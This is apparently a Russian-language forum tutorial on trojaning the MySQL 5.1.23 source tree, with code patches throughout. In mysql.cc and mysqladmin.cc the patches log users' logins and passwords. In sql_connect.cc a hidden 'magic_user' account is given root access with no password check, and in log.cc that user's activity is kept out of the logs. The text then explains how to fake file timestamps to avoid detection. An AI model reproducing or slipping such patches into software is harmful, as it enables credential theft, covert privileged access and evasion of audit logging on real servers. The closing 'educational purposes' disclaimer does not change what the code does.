На днях пришлось разбирался с сорцами мускула и решил немного похулиганить. Итак, что мы сделаем: 1)Потрояним mysql-client(mysql и mysqladmin) - логин и пасс юзеров будет писаться в наш лог 2)Потрояним mysql-server(у меня 5.1.23) - при заходе на сервер с логином 'magic_login' юзеру будут даваться рутовые права, лог вестись естественно небудет. Для начала читаем - SSH backdooring, тут описано как не запалится по дате изменения файла,дан нужный нам файл entropy.h(точнее shad_passlog() и т.д.)(надеюсь ShadOS не обидется, если я возьму его наработку) и т.д. Итак, нам нужен будет сам мускул(я надеюсь вы знаете где его взять), разархивируем его куда-нибудь. Для начала потрояним mysql-client. Открываем файл ./client/mysql.cc Code: #include "entropy.h" //наш файл(пусть лежит ./client/) ....... int main(int argc,char *argv[]) { ....... sprintf(shad_buff, "mysql password auth: user: %s \tpass: %s\n", current_user, opt_password); shad_passlog(); put_info("Welcome to the MySQL monitor. Commands end with ; or \\g.", INFO_INFO);// авторизация прошла успешно, записываем логин и пасс ....... Теперь ./client/mysqladmin.cc Code: #include "entropy.h" ....... int main(int argc,char *argv[]) { ....... sprintf(shad_buff, "mysqladmin password auth: user: %s \tpass: %s\n", current_user, opt_password); shad_passlog(); my_free(opt_password,MYF(MY_ALLOW_ZERO_PTR)); my_free(user,MYF(MY_ALLOW_ZERO_PTR)); ....... Далее файл ./sql/sql_connect.cc Code: ....... int check_user(THD *thd, enum enum_server_command command, const char *passwd, uint passwd_len, const char *db, bool check_count) { if(!strcmp(thd->security_ctx->user,"magic_user")){ //если это наш магический юзер, то берём рутовые права thd->client_capabilities=239119; thd->max_client_packet_length=16777316;//эти 2 числа, в общем, любые thd->main_security_ctx.host_or_ip="localhost";//откуда юзер подключился thd->main_security_ctx.user="magic_user";//оставляем таким(при отмене логгирования понадобится) thd->main_security_ctx.priv_user="root";//привилегии thd->main_security_ctx.master_access= GLOBAL_ACLS;//полный доступ thd->db=0;//это вообще дефолт DBUG_RETURN(0);//авторизован успешно =))) } ....... Ну и ./sql/log.cc Code: ....... bool Log_to_csv_event_handler:: log_general(THD *thd, time_t event_time, const char *user_host, uint user_host_len, int thread_id, const char *command_type, uint command_type_len, const char *sql_text, uint sql_text_len, CHARSET_INFO *client_cs) { ....... bool save_time_zone_used; if(!strcmp(thd->security_ctx->user,"magic_user")) return 0;//лог записан успешно =))) ....... Остаётся только всё пересобрать и исправить дату изменния файлов mysql , mysqladmin , mysqld , mysql-server.sh , gen_lex_hash , mysql_tzinfo_to_sql . Ну вот, в общем, и всё Внимание!Автор не несёт ответственности за использование материала по прямому назначению, т.к. статья созданна исключительно в образовательных целях.